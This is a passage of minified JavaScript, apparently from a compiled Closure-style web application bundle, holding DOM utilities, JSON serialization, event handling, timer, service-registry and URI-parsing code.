b;b=a.firstChild;)a.removeChild(b)},$P=function(a,b){b.parentNode&&b.parentNode.insertBefore(a, b)},aQ=function(a){return a&&a.parentNode?a.parentNode.removeChild(a):null},cQ=function(a){return void 0!=a.firstElementChild?a.firstElementChild:bQ(a.firstChild,!0)},dQ=function(a){return void 0!=a.nextElementSibling?a.nextElementSibling:bQ(a.nextSibling,!0)},bQ=function(a,b){for(;a&&1!=a.nodeType;)a=b?a.nextSibling:a.previousSibling;return a},eQ=function(a){return SL(a)&&1==a.nodeType},fQ=function(a,b){if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a== b||Boolean(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a},LP=function(a){return 9==a.nodeType?a:a.ownerDocument||a.document},gQ=function(a,b){H(null!=a,HB);if(yJ in a)a.textContent=b;else if(3==a.nodeType)a.data=b;else if(a.firstChild&&3==a.firstChild.nodeType){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=b}else ZP(a),a.appendChild(LP(a).createTextNode(String(b)))},hQ={SCRIPT:1,STYLE:1,HEAD:1,IFRAME:1,OBJECT:1},iQ={IMG:fa,BR:aa},jQ=function(a, b){b?a.tabIndex=0:(a.tabIndex=-1,a.removeAttribute(oJ))},kQ=function(a){a=a.getAttributeNode(pJ);return null!=a&&a.specified},lQ=function(a){a=a.tabIndex;return QL(a)&&0<=a&&32768>a},nQ=function(a){if(EP&&AC in a)a=fM(a.innerText);else{var b=[];mQ(a,b,!0);a=b.join(c)}a=a.replace(/ \xAD /g,fa).replace(/\xAD/g,c);a=a.replace(/\u200B/g,c);EP||(a=a.replace(/ +/g,fa));a!=fa&&(a=a.replace(/^\s*/,c));return a},oQ=function(a){var b=[];mQ(a,b,!1);return b.join(c)},mQ=function(a,b,d){if(!(a.nodeName in hQ))if(3== a.nodeType)d?b.push(String(a.nodeValue).replace(/(\r\n|\r|\n)/g,c)):b.push(a.nodeValue);else if(a.nodeName in iQ)b.push(iQ[a.nodeName]);else for(a=a.firstChild;a;)mQ(a,b,d),a=a.nextSibling},XP=function(a){if(a&&typeof a.length==RF){if(SL(a))return typeof a.item==XA||typeof a.item==aJ;if(RL(a))return typeof a.item==XA}return!1},qQ=function(a,b,d){if(!b&&!d)return null;var e=b?b.toUpperCase():null;return pQ(a,function(a){return(!e||a.nodeName==e)&&(!d||IP(a,d))},!0)},pQ=function(a,b,d,e){d||(a=a.parentNode); d=null==e;for(var f=0;a&&(d||f<=e);){if(b(a))return a;a=a.parentNode;f++}return null},rQ=function(a){try{return a&&a.activeElement}catch(b){}return null},tQ=function(a){var b=!1,d;return function(){b||(d=a(),b=!0);return d}}(function(){var a=TP(),b=DN&&FN;return z(a.devicePixelRatio)&&!b?a.devicePixelRatio:a.matchMedia?sQ(0.75)||sQ(1.5)||sQ(2)||sQ(3)||1:1}),sQ=function(a){return TP().matchMedia(uc+a+Gc+a+Hc+a+hz).matches?a:0},KP=function(a){this.aa=a||JL.document||document};x=KP.prototype;x.q=MP; x.b=function(a){return A(a)?this.aa.getElementById(a):a};x.qr=function(a,b,d){return NP(this.aa,a,b,d)};x.Fr=function(a,b){return OP(a,b||this.aa)};x.pb=function(a,b){var d=b||this.aa,e=d||document,f=null;return(f=e.querySelectorAll&&e.querySelector?e.querySelector(ne+a):NP(document,Ic,a,d)[0])||null};x.aD=function(a){return RP(a||this.Pc()||window)};x.C=function(a,b,d){return UP(this.aa,arguments)};x.createElement=function(a){return this.aa.createElement(a)};x.createTextNode=function(a){return this.aa.createTextNode(String(a))}; x.NT=function(a){var b;var d=this.aa;b=d.createElement(s);J?(b.innerHTML=eg+a,b.removeChild(b.firstChild)):b.innerHTML=a;if(1==b.childNodes.length)b=b.removeChild(b.firstChild);else{for(a=d.createDocumentFragment();b.firstChild;)a.appendChild(b.firstChild);b=a}return b};x.DD=function(){return this.aa.compatMode==Di};x.Pc=function(){var a=this.aa;return a.parentWindow||a.defaultView};x.DO=function(){return SP(this.aa)}; x.oi=function(){var a=this.aa,b=SP(a),a=a.parentWindow||a.defaultView;return J&&SN(Oe)&&a.pageYOffset!=b.scrollTop?new yP(b.scrollLeft,b.scrollTop):new yP(a.pageXOffset||b.scrollLeft,a.pageYOffset||b.scrollTop)};x.LP=function(a){return rQ(a||this.aa)};x.appendChild=function(a,b){a.appendChild(b)};x.append=YP;x.zx=ZP;x.Sw=$P;x.removeNode=aQ;x.Vn=function(a,b){var d=b.parentNode;d&&d.replaceChild(a,b)};x.Nn=function(a){return DP&&void 0!=a.children?a.children:TM(a.childNodes,function(a){return 1==a.nodeType})}; x.pg=cQ;x.NS=function(a){return void 0!=a.lastElementChild?a.lastElementChild:bQ(a.lastChild,!1)};x.pM=dQ;x.contains=fQ;x.Wb=gQ;x.Kg=function(a){var b;(b=a.tagName==vh||a.tagName==po||a.tagName==ut||a.tagName==xs||a.tagName==li?!a.disabled&&(!kQ(a)||lQ(a)):kQ(a)&&lQ(a))&&J?(a=RL(a.getBoundingClientRect)?a.getBoundingClientRect():{height:a.offsetHeight,width:a.offsetWidth},a=null!=a&&0<a.height&&0<a.width):a=b;return a};x.zG=nQ;x.lu=function(a,b){return qQ(a,null,b)};var uQ=function(a){a=String(a);if(/^\s*$/.test(a)?0:/^[\],:{}\s\u2028\u2029]*$/.test(a.replace(/\\["\\\/bfnrtu]/g,uh).replace(/"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,r).replace(/(?:^|:|,)(?:[\s\u2028\u2029]*\[)+/g,c)))try{return eval(tc+a+Dc)}catch(b){}throw Error("Invalid JSON string: "+a);},vQ=function(a){return eval(tc+a+Dc)},xQ=function(a,b){return(new wQ(b)).serialize(a)},wQ=function(a){this.Iv=a}; wQ.prototype.serialize=function(a){var b=[];this.hG(a,b);return b.join(c)};wQ.prototype.hG=function(a,b){switch(typeof a){case aJ:this.RQ(a,b);break;case RF:this.Aca(a,b);break;case Xw:b.push(a);break;case "undefined":b.push(QF);break;case WF:if(null==a){b.push(QF);break}if(OL(a)){this.serializeArray(a,b);break}this.Bca(a,b);break;case XA:break;default:throw Error("Unknown type: "+typeof a);}}; var yQ={'"':'\\"',"\\":pv,"/":"\\/","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\u000b"},zQ=/\uffff/.test("\uffff")?/[\\\"\x00-\x1f\x7f-\uffff]/g:/[\\\"\x00-\x1f\x7f-\xff]/g;wQ.prototype.RQ=function(a,b){b.push(Na,a.replace(zQ,function(a){if(a in yQ)return yQ[a];var b=a.charCodeAt(0),f=uv;16>b?f+=He:256>b?f+=Ge:4096>b&&(f+=l);return yQ[a]=f+b.toString(16)}),Na)};wQ.prototype.Aca=function(a,b){b.push(isFinite(a)&&!isNaN(a)?a:QF)}; wQ.prototype.serializeArray=function(a,b){var d=a.length;b.push(gv);for(var e=c,f=0;f<d;f++)b.push(e),e=a[f],this.hG(this.Iv?this.Iv.call(a,String(f),e):e,b),e=Kc;b.push(r)};wQ.prototype.Bca=function(a,b){b.push(v);var d=c,e;for(e in a)if(Object.prototype.hasOwnProperty.call(a,e)){var f=a[e];typeof f!=XA&&(b.push(d),this.RQ(e,b),b.push(mf),this.hG(this.Iv?this.Iv.call(a,e,f):f,b),d=Kc)}b.push(w)};var AQ=function(a,b,d){b=(d||MP(b)).pb(a,b);MM(b,bn,a);return b};var BQ=function(a){this.$da=a};BQ.prototype.toString=function(){return this.$da};var CQ=new BQ(Lw),DQ=new BQ(mz),EQ=new BQ(OB),FQ=new BQ(XC),GQ=new BQ(dD),HQ=new BQ(jJ),IQ=new BQ(Zn),JQ=new BQ("X"),KQ=new BQ("aa");var LQ=function(a){this.fb=a;this.Cb={}};E(LQ,ZN);var MQ=[];x=LQ.prototype;x.j=function(a,b,d,e){return this.TR(a,b,d,e)};x.zH=function(a,b,d,e,f){return this.TR(a,b,d,e,f)};x.TR=function(a,b,d,e,f){OL(b)||(MQ[0]=b,b=MQ);for(var g=0;g<b.length;g++){var k=CO(a,b[g],d||this.handleEvent,e||!1,f||this.fb||this);if(!k)break;this.Cb[k.key]=k}return this};x.Qc=function(a,b,d,e){return this.BE(a,b,d,e)};x.EV=function(a,b,d,e,f){return this.BE(a,b,d,e,f)}; x.BE=function(a,b,d,e,f){if(OL(b))for(var g=0;g<b.length;g++)this.BE(a,b[g],d,e,f);else{a=IO(a,b,d||this.handleEvent,e,f||this.fb||this);if(!a)return this;this.Cb[a.key]=a}return this};x.Jq=function(a,b,d,e){return this.Qda(a,b,d,e)};x.Qda=function(a,b,d,e,f){b.j(a,d,e,f||this.fb||this,this);return this}; x.$=function(a,b,d,e,f){if(OL(b))for(var g=0;g<b.length;g++)this.$(a,b[g],d,e,f);else d=d||this.handleEvent,f=f||this.fb||this,d=DO(d),e=!!e,b=hO(a)?a.iq(b,d,e,f):a?(a=FO(a))?a.iq(b,d,e,f):null:null,b&&(KO(b),delete this.Cb[b.key]);return this};x.Na=function(){jO(this.Cb,KO);this.Cb={}};x.A=function(){LQ.c.A.call(this);this.Na()};x.handleEvent=function(){throw Error("EventHandler.handleEvent not implemented");};var N=function(){this.rg=new xO(this);this.b$=this};E(N,ZN);N.prototype[gO]=!0;x=N.prototype;x.Wz=null;x.xF=function(){return this.Wz};x.Bj=function(a){this.Wz=a};x.addEventListener=function(a,b,d,e){CO(this,a,b,d,e)};x.removeEventListener=function(a,b,d,e){JO(this,a,b,d,e)}; x.dispatchEvent=function(a){this.XP();var b,d=this.xF();if(d){b=[];for(var e=1;d;d=d.xF())b.push(d),H(1E3>++e,xC)}d=this.b$;e=a.type||a;if(A(a))a=new L(a,d);else if(a instanceof L)a.target=a.target||d;else{var f=a;a=new L(e,d);tO(a,f)}var f=!0,g;if(b)for(var k=b.length-1;!a.Hk&&0<=k;k--)g=a.currentTarget=b[k],f=g.Bv(e,!0,a)&&f;a.Hk||(g=a.currentTarget=d,f=g.Bv(e,!0,a)&&f,a.Hk||(f=g.Bv(e,!1,a)&&f));if(b)for(k=0;!a.Hk&&k<b.length;k++)g=a.currentTarget=b[k],f=g.Bv(e,!1,a)&&f;return f}; x.A=function(){N.c.A.call(this);this.wZ();this.Wz=null};x.j=function(a,b,d,e){this.XP();return this.rg.add(String(a),b,!1,d,e)};x.Qc=function(a,b,d,e){return this.rg.add(String(a),b,!0,d,e)};x.$=function(a,b,d,e){return this.rg.remove(String(a),b,d,e)};x.cO=function(a){return this.rg.DP(a)};x.wZ=function(a){return this.rg?this.rg.Na(a):0}; x.Bv=function(a,b,d){a=this.rg.Yc[String(a)];if(!a)return!0;a=gN(a);for(var e=!0,f=0;f<a.length;++f){var g=a[f];if(g&&!g.Nm&&g.kq==b){var k=g.Jf,p=g.Pd||g.src;g.Ou&&this.cO(g);e=!1!==k.call(p,d)&&e}}return e&&!1!=d.pO};x.Mu=function(a,b){return this.rg.Mu(String(a),b)};x.iq=function(a,b,d,e){return this.rg.iq(String(a),b,d,e)};x.XP=function(){H(this.rg,Tm)};var NQ=function(a,b){N.call(this);this.Fm=a||1;this.cm=b||JL;this.SD=C(this.kaa,this);this.WD=D()};E(NQ,N);x=NQ.prototype;x.enabled=!1;x.Da=null;x.kaa=function(){if(this.enabled){var a=D()-this.WD;0<a&&a<0.8*this.Fm?this.Da=this.cm.setTimeout(this.SD,this.Fm-a):(this.Da&&(this.cm.clearTimeout(this.Da),this.Da=null),this.v7(),this.enabled&&(this.Da=this.cm.setTimeout(this.SD,this.Fm),this.WD=D()))}};x.v7=function(){this.dispatchEvent(CJ)}; x.start=function(){this.enabled=!0;this.Da||(this.Da=this.cm.setTimeout(this.SD,this.Fm),this.WD=D())};x.stop=function(){this.enabled=!1;this.Da&&(this.cm.clearTimeout(this.Da),this.Da=null)};x.A=function(){NQ.c.A.call(this);this.stop();delete this.cm};var OQ=function(a,b,d){if(RL(a))d&&(a=C(a,d));else if(a&&typeof a.handleEvent==XA)a=C(a.handleEvent,a);else throw Error(Fo);return 2147483647<b?-1:JL.setTimeout(a,b||0)},PQ=function(a){JL.clearTimeout(a)};new $O;var QQ=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$"),TQ=function(a){if(RQ){RQ=!1;var b=JL.location;if(b){var d=b.href;if(d&&(d=SQ(TQ(d)[3]||null))&&d!=b.hostname)throw RQ=!0,Error();}}return a.match(QQ)},RQ=EN,SQ=function(a){return a&&decodeURIComponent(a)},UQ=function(a,b,d,e){for(var f=d.length;0<=(b=a.indexOf(d,b))&&b<e;){var g=a.charCodeAt(b-1);if(38==g||63==g)if(g=a.charCodeAt(b+f),!g||61==g||38==g||35==g)return b;b+= f+1}return-1},VQ=/#|$/,WQ=/[?&]($|#)/,XQ=function(a,b,d){for(var e=a.search(VQ),f=0,g,k=[];0<=(g=UQ(a,f,b,e));)k.push(a.substring(f,g)),f=Math.min(a.indexOf(Vb,g)+1||e,e);k.push(a.substr(f));a=[k.join(c).replace(WQ,Ob),Vb,b];null!=d&&a.push(ph,iM(d));a[1]&&(d=a[0],b=d.indexOf(Jb),0<=b&&(a.push(d.substr(b)),a[0]=d=d.substr(0,b)),b=d.indexOf(sh),0>b?a[1]=sh:b==d.length-1&&(a[1]=void 0));return a.join(c)};var YQ=function(a,b,d,e,f,g){rP.call(this,f,g);this.aB=a;this.bE=[];this.UO=!!b;this.j7=!!d;this.i7=!!e;for(b=this.VO=0;b<a.length;b++)a[b].Pp(C(this.GP,this,b,!0),C(this.GP,this,b,!1));0!=a.length||this.UO||this.pi(this.bE)};E(YQ,rP);YQ.prototype.GP=function(a,b,d){this.VO++;this.bE[a]=[b,d];this.Ih||(this.UO&&b?this.pi([a,d]):this.j7&&!b?this.nm(d):this.VO==this.aB.length&&this.pi(this.bE));this.i7&&!b&&(d=null);return d};YQ.prototype.nm=function(a){YQ.c.nm.call(this,a);for(a=0;a<this.aB.length;a++)this.aB[a].cancel()}; var ZQ=function(a){return(new YQ(a,!1,!0)).Qs(function(a){for(var d=[],e=0;e<a.length;e++)d[e]=a[e][1];return d})};var $Q=function(a,b){A(b)?(H(b,jq),H(!/[:]/.test(b),iq+b)):H(0<=b,kq);H(a,hq);this.A$=a;this.Kd=b;this.constructor.CF||(this.constructor.CF={});var d=this.toString();H(!this.constructor.CF[d],es+d);this.constructor.CF[d]=this};$Q.prototype.serialize=function(){return this.toString()};$Q.prototype.toString=function(){this.xQ||(this.xQ=this.A$.rF()+mf+this.Kd);return this.xQ};$Q.prototype.Qa=function(){return this.Kd};var aR=function(a){N.call(this);this.pa=a;this.fa=new LQ(this);this.Gj=[];var b;a=window;if(!a.location){var d;try{d=xQ(a)}catch(e){d=lO(a).toString()}xP.g5(Error(yi+d))}d=a.location&&a.location.ancestorOrigins;if(z(d))b=d&&d.length?d[0]==a.location.origin:!0;else try{b=z(a.parent.location.href)}catch(f){b=!1}b&&(this.RI=window.frameElement);this.R4=[];this.sy=this.f5()};E(aR,N);x=aR.prototype;x.A=function(){aR.c.A.call(this);this.fa.Q();this.RI=this.sy=this.Gj=this.fa=null}; x.b0=function(a){a.Pc()!=top&&this.fm||(this.fm=a);this.Gj.push(a);this.fa.j(a,Mv,this.oA);this.fa.j(a,Lw,this.$o)};x.oN=function(a){if(!this.Fd()&&!this.pa.Fd()){var b=this.BO(a);H(!b.Ih,$s,a);b.pi()}};x.YZ=function(a){var b=UM(arguments,function(a){return this.BO(a)},this);return ZQ(b)};x.x4=function(){return this.sy.uling.Ih}; x.oA=function(a){var b=a.target,d=b==this.fm;if(b==this.fm&&b.ra()){var e=[];I(this.Gj,function(a){a!=this.fm&&e.push(a.Ge())},this);0<e.length&&(a.Qu.push(Lt),a.Qu.push(e.join(aa)))}d&&(b=new bR(this,a.Qu),this.dispatchEvent(b),a.jq=a.jq||b.jq)};x.$o=function(a){var b=a.target;this.fa.$(b,Lw,this.$o);if(b==this.fm&&!this.x4()){if(this.RI&&!a.jN)for(a=0;a<this.Gj.length;a++);SM(this.Gj,function(a){a==b||a.w4()},this);this.oN(iK);this.oN(cK);this.fm=null}this.Gj&&b&&dN(this.Gj,b)}; x.f5=function(){return VM([[iz,mz],[rC,Xz],[FC,ZA],[xD,OB],[dD,vy],[iK,GC],[cK,XC]],function(a,b){var d=new rP;a[b[0]]=d;this.R4.push(b[0]);d.Qs(function(){this.dispatchEvent(b[1])},this);return a},{},this)};x.BO=function(a){var b=this.sy[a];H(b,pq+a);return b};var bR=function(a,b){L.call(this,oC);this.Qu=b;this.jq=!1};E(bR,L);var cR=function(a,b,d,e,f){this.c$=a;this.HQ=b;this.nv=d;this.KF=e;this.RP=f},O=function(){},P=function(a,b,d,e,f){a.uh=[];b||(b=d?[d]:[]);a.dia=d!=c?d:void 0;a.a=b;if(f)for(b=0;b<f.length;b++)a.a[f[b]]=a.a[f[b]]||[];if(-1!=e){a.Xj={};t:{f=a.a;if(f.length&&(d=f.length-1,(b=f[d])&&typeof b==WF&&typeof b.length!=RF)){d<e&&(f[e]=b,delete f[d]);e=b;break t}b={};e=f[Math.max(f.length,e)]=b}a.us=e}},dR=function(a,b,d){for(var e=[],f=0;f<a.length;f++)e[f]=b.call(a[f],d,a[f]);return e},eR=function(a,b,d, e,f){for(var g in d){var k=d[g],p=e.call(a,k);if(p){for(var q in k.HQ)if(k.HQ.hasOwnProperty(q))break;b[q]=k.KF?k.RP?dR(p,k.KF,f):k.KF(f,p):p}}},Q=function(a,b,d,e){a.uh[d]||!e&&!a.a[d]||(a.uh[d]=new b(a.a[d]));return a.uh[d]},fR=function(a,b,d){if(!a.uh[d]){a.uh[d]=[];for(var e=0;e<a.a[d].length;e++)a.uh[d][e]=new b(a.a[d][e])}return a.uh[d]},gR=function(a,b,d){a.uh[b]=d;a.a[b]=d?d.toArray():d},hR=function(a,b,d){d=d||[];a.uh[b]=d;a.a[b]=[];for(var e=0;e<d.length;e++)a.a[b][e]=d[e].toArray()}; O.prototype.toArray=function(){return this.a};O.prototype.serialize=function(){return JL.JSON&&JL.JSON.stringify?JL.JSON.stringify(this.toArray()):xQ(this.toArray())};O.prototype.toString=function(){return this.a.toString()};O.prototype.getExtension=function(a){var b=a.c$;H(!!this.Xj,cu+b+Ea);if(a.RP){if(a.nv)return this.Xj[b]||(this.Xj[b]=UM(this.us[b]||[],function(b){return new a.nv(b)})),this.Xj[b]}else if(a.nv)return!this.Xj[b]&&this.us[b]&&(this.Xj[b]=new a.nv(this.us[b])),this.Xj[b];return this.us[b]};var S=function(a,b){$Q.call(this,a,b)};E(S,$Q);var jR=function(a){H(!iR.hasOwnProperty(a),bi+a);H(!/[^0-9a-zA-Z._]/.test(a),ai+a);this.Kb=a;iR[a]=this},iR;iR={};jR.prototype.rF=function(){return this.Kb};new jR("lib");var lR=function(a){this.id=kR++;this.N4=[];this.Vj={};this.QC={};this.xD={};this.Yj={};this.bO={};this.cJ={};this.gd=a?a.Xa():new N;this.$W=!a;this.aq=null;a?(this.aq=a,this.xD=a.xD,this.Yj=a.Yj,this.QC=a.QC,this.bO=a.bO):D();a=this.Ey();this!=a&&(a.ys?a.ys.push(this):a.ys=[this])};E(lR,ZN);var kR=1;x=lR.prototype;x.Ey=function(){for(var a=this;a.aq;)a=a.aq;return a};x.sba=function(a){for(var b=this;b;){if(b==a)return!0;b=b.aq}return!1}; x.get=function(a){var b=this.Lg(a);null==b&&this.Iia&&(b={BOGUS:Ks+a+Ka});if(null==b)throw new mR(a);return b};x.Lg=function(a){for(var b=this;b;b=b.aq){if(b.Fd())throw Error("AppContext is disposed.");if(b.Vj[a])return b.Vj[a][0];if(b.cJ[a])break}if(b=this.r8(a)){b=b(this);if(null==b)throw Error("Factory method for service "+a+" returned null or undefined.");this.Gc(a,b);return b}return null}; x.Gc=function(a,b,d){if(this.Fd())d||K(b);else{H(!this.Vj[a],Ms,a);this.N4.push(a);this.Vj[a]=[b,!d];d=this.y9(this,a);for(var e=0;e<d.length;e++)d[e].pi(null);delete this.QC[a];return b}};x.r8=function(a){return this.xD[a]};x.y9=function(a,b){var d=[],e=this.Yj[b];e&&(SM(e,function(b){b.lba.sba(a)&&(d.push(b.Hia),dN(e,b))}),0==e.length&&delete this.Yj[b]);return d};x.lX=function(a){this.Yj&&ZO(this.Yj,function(b,d,e){SM(b,function(d){d.lba==a&&dN(b,d)});0==b.length&&delete e[d]})}; x.A=function(){if(this.Ey()==this){var a=this.ys;if(a)for(;a.length;)a[0].Q()}else for(var a=this.Ey().ys,b=0;b<a.length;b++)if(a[b]==this){a.splice(b,1);break}for(var d in this.Vj)a=this.Vj[d],a[1]&&"undefined"!=typeof a[0].Q&&a[0].Q();this.Vj=null;this.$W&&this.gd.Q();this.lX(this);this.Yj=null;K(this.mX);this.cJ=this.mX=null;lR.c.A.call(this)};x.Xa=function(){return this.gd};var mR=function(a){aM.call(this);this.id=a;this.message=Ls+a+rb};E(mR,aM);var nR=new jR("fva");new S(nR,1);var oR=function(a){this.pd=a};x=oR.prototype;x.Pc=function(){return this.pd};x.uG=function(){return this.pd.Pc()};x.confirm=function(a){var b=this.S9();a=this.pd.Pc().confirm(a);this.Y9(b);return a};x.S9=function(){var a=this.pd.Yg().Lg(JQ);return a?a.LP():null};x.Y9=function(a){a?a.focus():(a=this.pd.Yg().Lg(JQ))&&a.uZ()};var qR=function(a,b){N.call(this);this.ha=pR++;this.yo=a;this.mo=new LQ(this);this.pa=b;this.AK=[];this.VK=!1;this.mo.j(this.yo,pK,this.$o);this.mo.j(this.yo,Rw,this.oA);b.get(CQ).b0(this);this.c0()};E(qR,N);var pR=1;x=qR.prototype;x.dF=!1;x.fN=!1;x.v=function(){return this.ha};x.ra=function(){return!0};x.c0=function(){this.pa.Gc(KQ,new oR(this))};x.$o=function(){this.mo.Na();this.I4();this.dispatchEvent(new rR(this,this.fN));this.Q()}; x.I4=function(){I(this.AK,function(a){a.Q()});this.AK.length=0};x.oA=function(a){if(!this.VK){var b=[],d=new sR(this,this.dF,b);this.fN=this.dF;this.dF=!1;try{this.dispatchEvent(d)}catch(e){a.pc.returnValue=Ym+e}kN(b);!d.jq&&b.length&&(a.pc.returnValue=b.join(aa));if(EN&&b.length)return b.join(aa)}};x.w4=function(){this.VK=!0;var a=this.yo;this.$o();a&&a.close()};x.Pc=function(){return this.yo};x.Yg=function(){return this.pa};x.A=function(){qR.c.A.call(this);K(this.mo);this.yo=this.mo=null}; var sR=function(a,b,d){L.call(this,Mv,a);this.Qu=d;this.jN=b;this.jq=!1};E(sR,L);var rR=function(a,b){L.call(this,Lw,a);this.jN=b};E(rR,L);var tR=function(a){N.call(this);this.pd=a||window;this.Vs=CO(this.pd,IH,this.El,!1,this);this.ac=RP(this.pd||window)};E(tR,N);x=tR.prototype;x.Vs=null;x.pd=null;x.ac=null;x.lb=function(){return this.ac?this.ac.clone():null};x.A=function(){tR.c.A.call(this);this.Vs&&(KO(this.Vs),this.Vs=null);this.ac=this.pd=null};x.El=function(){var a=RP(this.pd||window);BP(a,this.ac)||(this.ac=a,this.dispatchEvent(IH))};var uR=function(a){N.call(this);this.pd=a?a.Pc():window;this.$O=this.ZO();this.si=C(this.D7,this);this.Us=this.pd.matchMedia?this.pd.matchMedia(Ac):null};E(uR,N);uR.prototype.start=function(){this.Us&&this.Us.addListener(this.si)};uR.prototype.ZO=function(){return 1.5<=this.pd.devicePixelRatio?2:1};uR.prototype.D7=function(){var a=this.ZO();this.$O!=a&&(this.$O=a,this.dispatchEvent(jJ))};uR.prototype.A=function(){this.Us&&this.Us.removeListener(this.si);uR.c.A.call(this)};var vR=function(a,b){this.pa=a;b&&this.q9(b)};E(vR,ZN);vR.prototype.q9=function(a){if(this.BM)throw Error("[fava.component.DomServices] Owner document already initialized");this.BM=a;this.ma=MP(a);this.Hp=new tR(TP(a));this.Hp.Bj(this.pa.Xa());this.JB=new uR(this.ma);this.JB.start()};vR.prototype.q=function(){MM(this.ma,bu);return this.ma};vR.prototype.aD=function(){H(this.ma,xl);return this.Hp.lb()}; vR.prototype.A=function(){this.ma=this.BM=null;this.Hp&&(this.Hp.Q(),this.Hp=null);K(this.JB);this.JB=null};var wR=function(a,b){var d;a instanceof wR?(this.Te=z(b)?b:a.Te,this.Zm(a.kg),this.sC(a.Xp),this.Gm(a.ae()),this.gu(a.Lh),this.setPath(a.getPath()),this.gm(a.Mc.clone()),this.Qp(a.tu())):a&&(d=TQ(String(a)))?(this.Te=!!b,this.Zm(d[1]||c,!0),this.sC(d[2]||c,!0),this.Gm(d[3]||c,!0),this.gu(d[4]),this.setPath(d[5]||c,!0),this.gm(d[6]||c,!0),this.Qp(d[7]||c,!0)):(this.Te=!!b,this.Mc=new xR(null,null,this.Te))};x=wR.prototype;x.kg=c;x.Xp=c;x.jp=c;x.Lh=null;x.VF=c;x.TF=c;x.Pda=!1;x.Te=!1; x.toString=function(){var a=[],b=this.kg;b&&a.push(yR(b,zR),mf);if(b=this.ae()){a.push(ve);var d=this.Xp;d&&a.push(yR(d,zR),uh);a.push(iM(b));b=this.Lh;null!=b&&a.push(mf,String(b))}if(b=this.getPath())this.oo()&&b.charAt(0)!=se&&a.push(se),a.push(yR(b,b.charAt(0)==se?AR:BR));(b=this.XD())&&a.push(sh,b);(b=this.tu())&&a.push(Jb,yR(b,CR));return a.join(c)}; x.resolve=function(a){var b=this.clone(),d=a.xG();d?b.Zm(a.kg):d=a.q5();d?b.sC(a.Xp):d=a.oo();d?b.Gm(a.ae()):d=a.o5();var e=a.getPath();if(d)b.gu(a.Lh);else if(d=a.WN()){if(e.charAt(0)!=se)if(this.oo()&&!this.WN())e=se+e;else{var f=b.getPath().lastIndexOf(se);-1!=f&&(e=b.getPath().substr(0,f+1)+e)}f=e;if(f==oe||f==ne)e=c;else if(-1!=f.indexOf(qe)||-1!=f.indexOf(ue)){for(var e=0==f.lastIndexOf(se,0),f=f.split(se),g=[],k=0;k<f.length;){var p=f[k++];p==ne?e&&k==f.length&&g.push(c):p==oe?((1<g.length|| 1==g.length&&g[0]!=c)&&g.pop(),e&&k==f.length&&g.push(c)):(g.push(p),e=!0)}e=g.join(se)}else e=f}d?b.setPath(e):d=a.p5();d?b.gm(a.m5()):d=a.n5();d&&b.Qp(a.tu());return b};x.clone=function(){return new wR(this)};x.Zm=function(a,b){this.ug();if(this.kg=b?DR(a):a)this.kg=this.kg.replace(/:$/,c);return this};x.xG=function(){return!!this.kg};x.sC=function(a,b){this.ug();this.Xp=b?DR(a):a;return this};x.q5=function(){return!!this.Xp};x.ae=function(){return this.jp}; x.Gm=function(a,b){this.ug();this.jp=b?DR(a):a;return this};x.oo=function(){return!!this.jp};x.gu=function(a){this.ug();if(a){a=Number(a);if(isNaN(a)||0>a)throw Error("Bad port number "+a);this.Lh=a}else this.Lh=null;return this};x.o5=function(){return null!=this.Lh};x.getPath=function(){return this.VF};x.setPath=function(a,b){this.ug();this.VF=b?DR(a):a;return this};x.WN=function(){return!!this.VF};x.p5=function(){return this.Mc.toString()!==c}; x.gm=function(a,b){this.ug();a instanceof xR?(this.Mc=a,this.Mc.ME(this.Te)):(b||(a=yR(a,ER)),this.Mc=new xR(a,null,this.Te));return this};x.XD=function(){return this.Mc.toString()};x.m5=function(){return this.Mc.$aa()};x.Xi=function(){return this.XD()};x.Gl=function(a,b){this.ug();this.Mc.set(a,b);return this};x.yO=function(a,b){this.ug();OL(b)||(b=[String(b)]);this.Mc.setValues(a,b);return this};x.Mn=function(a){return this.Mc.get(a)};x.tu=function(){return this.TF}; x.Qp=function(a,b){this.ug();this.TF=b?DR(a):a;return this};x.n5=function(){return!!this.TF};x.Xx=function(a){this.ug();this.Mc.remove(a);return this};x.ug=function(){if(this.Pda)throw Error("Tried to modify a read-only Uri");};x.ME=function(a){this.Te=a;this.Mc&&this.Mc.ME(a);return this}; var FR=function(a,b){return a instanceof wR?a.clone():new wR(a,b)},GR=function(a,b){a instanceof wR||(a=FR(a));b instanceof wR||(b=FR(b));return a.resolve(b)},DR=function(a){return a?decodeURIComponent(a):c},yR=function(a,b){return A(a)?encodeURI(a).replace(b,HR):null},HR=function(a){a=a.charCodeAt(0);return Rb+(a>>4&15).toString(16)+(a&15).toString(16)},zR=/[#\/\?@]/g,BR=/[\#\?:]/g,AR=/[\#\?]/g,ER=/[\#\?@]/g,CR=/#/g,xR=function(a,b,d){this.Vi=a||null;this.Te=!!d};x=xR.prototype; x.Sh=function(){if(!this.Mb&&(this.Mb=new VO,this.Db=0,this.Vi))for(var a=this.Vi.split(Vb),b=0;b<a.length;b++){var d=a[b].indexOf(ph),e=null,f=null;0<=d?(e=a[b].substring(0,d),f=a[b].substring(d+1)):e=a[b];e=jM(e);e=this.Ck(e);this.add(e,f?jM(f):c)}};x.Mb=null;x.Db=null;x.Xe=function(){this.Sh();return this.Db};x.add=function(a,b){this.Sh();this.Om();a=this.Ck(a);var d=this.Mb.get(a);d||this.Mb.set(a,d=[]);d.push(b);this.Db++;return this}; x.remove=function(a){this.Sh();a=this.Ck(a);return this.Mb.od(a)?(this.Om(),this.Db-=this.Mb.get(a).length,this.Mb.remove(a)):!1};x.clear=function(){this.Om();this.Mb=null;this.Db=0};x.isEmpty=function(){this.Sh();return 0==this.Db};x.od=function(a){this.Sh();a=this.Ck(a);return this.Mb.od(a)};x.Le=function(){this.Sh();for(var a=this.Mb.mc(),b=this.Mb.Le(),d=[],e=0;e<b.length;e++)for(var f=a[e],g=0;g<f.length;g++)d.push(b[e]);return d}; x.mc=function(a){this.Sh();var 